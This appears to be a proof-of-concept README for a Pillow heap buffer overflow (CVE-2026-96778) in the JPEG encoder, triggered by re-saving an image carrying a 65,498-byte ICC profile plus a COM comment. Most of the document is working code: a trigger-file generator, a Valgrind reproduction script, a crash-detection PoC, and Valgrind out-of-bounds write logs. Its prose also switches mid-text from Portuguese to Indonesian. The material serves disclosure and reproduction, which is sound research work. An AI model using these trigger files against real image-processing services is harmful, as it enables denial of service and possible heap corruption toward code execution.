Prova de conceito e análise técnica para CVE-2026-96778, um heap buffer overflow no codificador JPEG do Pillow acionado por perfil ICC mais marcador COM ao salvar novamente.
Este repositório contém Proof of Concept (PoC), provas de reprodução e análise técnica para CVE-2026-96778, um heap buffer overflow na biblioteca Pillow (Python Imaging Library).
Resumo breve: Salvar novamente uma imagem JPEG que carrega um perfil ICC de tamanho exato e um comentário (marcador COM) causa uma escrita além do buffer do codificador de 65.536 bytes, corrompe metadados do heap e pode causar denial of service (crash) até execução de código.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-96778 |
| Componente | src/libImaging/JpegEncode.c — ImagingJpegEncode() |
| Ponto vulnerável | Linha 282 (jpeg_write_marker para marcador COM) |
| Tipo | Heap Buffer Overflow (CWE-122) |
| Faixa afetada | Pillow 9.4.0 – <13.0.0 |
| Corrigido em | Pillow 13.0.0 |
| Impacto | DoS (SIGSEGV/SIGABRT), potencial RCE |
| Vetor | Local / interação do usuário (abrir e salvar novamente a imagem) |
| Advisory | GHSA-g7cr-3p24-7wf7 |
JpegImagePlugin._save() calcula o tamanho do buffer de saída apenas a partir de
exif e extra (perfil ICC), sem reservar espaço para comentários._encode_to_file() (src/encode.c:186) aloca um buffer
MAXBLOCK = 65.536 bytes.free_in_buffer == 0.jpeg_write_marker() é chamado para escrever o marcador COM
(JpegEncode.c:282), libjpeg escreve 1 byte primeiro, e só
depois decrementa o contador size_t free_in_buffer.ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK
JFIF_HEADER = 20 # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = 65536 - 20 - 18 = 65498 # tepat penuh
Dengan ICC_PAYLOAD = 65498, buffer terisi tepat sampai byte terakhir.
Menambahkan COM marker (panjang berapa pun, 1–65533 byte) memicu overflow.
Komentar maksimal legal (65.533 byte) membuat overflow menulis data dalam
jumlah besar, sehingga crash lebih deterministik. Komentar kecil (mis. 32 byte)
tetap memicu Invalid write di Valgrind, tetapi belum tentu crash di runtime
normal (tergantung layout heap dan allocator).
| Komponen | Nilai |
|---|---|
| OS | Ubuntu Linux x86_64 |
| Kernel | Linux 6.x |
| Python | 3.12.3 |
| Valgrind | 3.22.0 |
| libjpeg | 8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2) |
| Compiler | gcc 13.3.0 |
| Pillow diuji | 9.4.0, 9.5.0, 13.0.0 |
| Sumber Pillow | build dari source (pip install -e .) |
make_trigger.py — Gerador de JPEG de GatilhoMembuat trigger.jpg dengan profil ICC 65.498 byte dan COM marker.
from PIL import Image
import io, struct
im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()
icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data
def make_app2(payload):
length = len(payload) + 2
return b"\xFF\xE2" + struct.pack(">H", length) + payload
def make_com(comment: bytes):
length = len(comment) + 2
return b"\xFF\xFE" + struct.pack(">H", length) + comment
assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]
with open("trigger.jpg", "wb") as f:
f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")
repro_cve.py — Reprodução Compatível com Valgrindfrom PIL import Image
im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)
im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")
Execute com Valgrind:
python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log
poc_advisory.py — PoC de Referência (Detecção de Crash)Com base no advisory oficial GHSA-g7cr-3p24-7wf7.
Executa im.save() em um processo filho e verifica o status de saída
(negativo = encerrado por sinal).
#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image
ENCODER_BUFFER = 65536
JFIF_HEADER = 20
ICC_OVERHEAD = 18
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498
COMMENT = b"C" * 65533
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""
def segment(marker, payload):
return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
def make_jpeg(with_comment):
noise = random.Random(1234).randbytes(256 * 256 * 3)
out = BytesIO()
Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
plain = out.getvalue()
icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
com = segment(0xFE, COMMENT) if with_comment else b""
return plain[:2] + icc + com + plain[2:]
def resave(jpeg):
cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
r = subprocess.run(cmd, input=jpeg, capture_output=True)
print((r.stdout + r.stderr).decode(errors="replace").strip())
print(f"-> exit status {r.returncode}")
return r.returncode
print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))
print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))
if rc < 0:
print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
print("BUG")
else:
print("OK")
| Versão do Pillow | Origem da importação | Valgrind | PoC do advisory | Status |
|---|---|---|---|---|
| 9.4.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + heap corrupt | BUG (SIGSEGV) | VULNERÁVEL |
| 9.5.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + heap corrupt | BUG (SIGSEGV) | VULNERÁVEL |
| 13.0.0 | /mnt/Pillow-13/src/PIL | 0 errors | OK | SEGURO |
==7310== Invalid write of size 1
==7310== at 0x622410E: ??? (in libjpeg.so.8.2.2)
==7310== by 0x6214569: jpeg_write_marker (in libjpeg.so.8.2.2)
==7310== by 0x61DE40D: ImagingJpegEncode (JpegEncode.c:282)
==7310== Address 0x60ddce0 is 0 bytes after a block of size 65,536 alloc'd
==7310== at malloc
==7310== by 0x61C06B4: _encode_to_file (encode.c:186)
...
valgrind: Heap block lo/hi size mismatch: lo = 65600, hi = 6365935209750747224